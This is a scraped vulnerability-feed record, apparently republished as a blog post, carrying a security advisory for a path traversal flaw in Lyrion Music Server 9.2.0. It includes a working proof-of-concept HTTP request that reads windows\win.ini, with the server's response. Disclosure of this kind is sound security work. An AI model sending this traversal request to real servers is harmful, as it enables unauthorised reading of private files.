{“lastseen”:”2026-06-05T18:50:32″,”description”:”Summary Lyrion Music Server formerly Logitech Media Server, and often abbreviated as \\”LMS\\” is open-source software which can control and serve stream music to a wide range of physical and virtual audio players called Squeezeboxes. Lyrion Music Server…”,”published”:”2026-06-05T00:00:00″,”modified”:”2026-06-05T00:00:00″,”type”:”zeroscience”,”title”:”Lyrion Music Server 9.2.0 Path Traversal File Read”,”source”:””,”references”:””,”id”:”ZSL-2026-5992″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-50234″],”sourceData”:”\\u003chtml\\u003e\\u003cbody\\u003e\\u003cp\\u003eLyrion Music Server 9.2.0 Path Traversal File Read\\n\\n\\nVendor: LMS Community\\nProduct web page: https:\/\/www.lyrion.org\\nAffected version 9.2.0\\n\\nSummary: Lyrion Music Server (formerly Logitech Media Server, and\\noften abbreviated as \\”LMS\\” ) is open-source software which can control\\nand serve (stream) music to a wide range of physical and virtual audio\\nplayers called Squeezeboxes. Lyrion Music Server can stream your local\\nmusic collection, internet radio stations, and content from many streaming\\nservices (with and without subscriptions).\\n\\nDesc: The server suffers from a directory traversal vulnerability. Exploiting\\nthis issue will allow an unauthenticated attacker to view arbitrary files\\nwithin the context of the web server.\\n\\nTested on: Windows 10 (64-bit) – EN\\n Lyrion Music Server (9.2.0 – 1779973211)\\n Perl\/5.32.1\\n SQLite\\n\\n\\nVulnerability discovered by Gjoko ‘LiquidWorm’ Krstic\\n @zeroscience\\n\\n\\nAdvisory ID: ZSL-2026-5992\\nAdvisory URL: https:\/\/www.zeroscience.mk\/#\/advisories\/ZSL-2026-5992\\nCVE ID: CVE-2026-50234\\nCVE URL: https:\/\/www.cve.org\/CVERecord?id=CVE-2026-50234\\n\\n\\n27.05.2026\\n\\n–\\n\\n\\nGET \/html\/..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows\\\\win.ini HTTP\/1.1\\nHost: localhost:9000\\n\\nHTTP\/1.1 200 OK\\nServer: Lyrion Music Server (9.2.0 – 1779973211)\\nCache-Control: max-age=604800\\nConnection: close\\nDate: Fri, 29 May 2026 21:25:22 GMT\\nContent-Length: 134\\nContent-Type: text\/html; charset=utf-8\\nExpires: Fri, 05 Jun 2026 21:25:22 GMT\\nSet-Cookie: Squeezebox-albumView=; path=\/\\nSet-Cookie: Squeezebox-expandPlayerControl=; path=\/\\nSet-Cookie: Squeezebox-expanded-MY_MUSIC=; path=\/\\nSet-Cookie: Squeezebox-expanded-FAVORITES=; path=\/\\nSet-Cookie: Squeezebox-expanded-PLUGINS=; path=\/\\nSet-Cookie: Squeezebox-expanded-PLUGIN_MY_APPS_MODULE_NAME=; path=\/\\nSet-Cookie: Squeezebox-expanded-RADIO=; path=\/\\nX-Time-To-Serve: 0.0615050792694092\\n\\n; for 16-bit app support\\n[fonts]\\n[extensions]\\n[mci extensions]\\n[files]\\n[Mail]\\nMAPI=1\\n[WN3000]\\nMachName=Mach0001\\nMachId=0001\\n\\u003c\/p\\u003e\\u003c\/body\\u003e\\u003c\/html\\u003e”,”sourceHref”:”https:\/\/www.zeroscience.mk\/codes\/lyrion_dir.txt”,”cvss”:{“score”:8.7,”severity”:”HIGH”,”vector”:”CVSS:4.0\/AV:N\/AC:L\/AT:N\/PR:N\/UI:N\/VC:H\/SC:N\/VI:N\/SI:N\/VA:N\/SA:N”,”version”:”4.0″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/www.zeroscience.mk\/advisories\/ZSL-2026-5992.html”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-05T18:50:32″,”description”:”Summary Lyrion Music Server formerly Logitech Media Server, and often abbreviated as \\”LMS\\” is open-source software which can control and serve stream music to a…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,19,12,15,13,7,11,5,107],"class_list":["post-60314","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-87","tag-exploit","tag-high","tag-news","tag-security","tag-tapic","tag-vulnerability","tag-zeroscience"],"yoast_head":"\n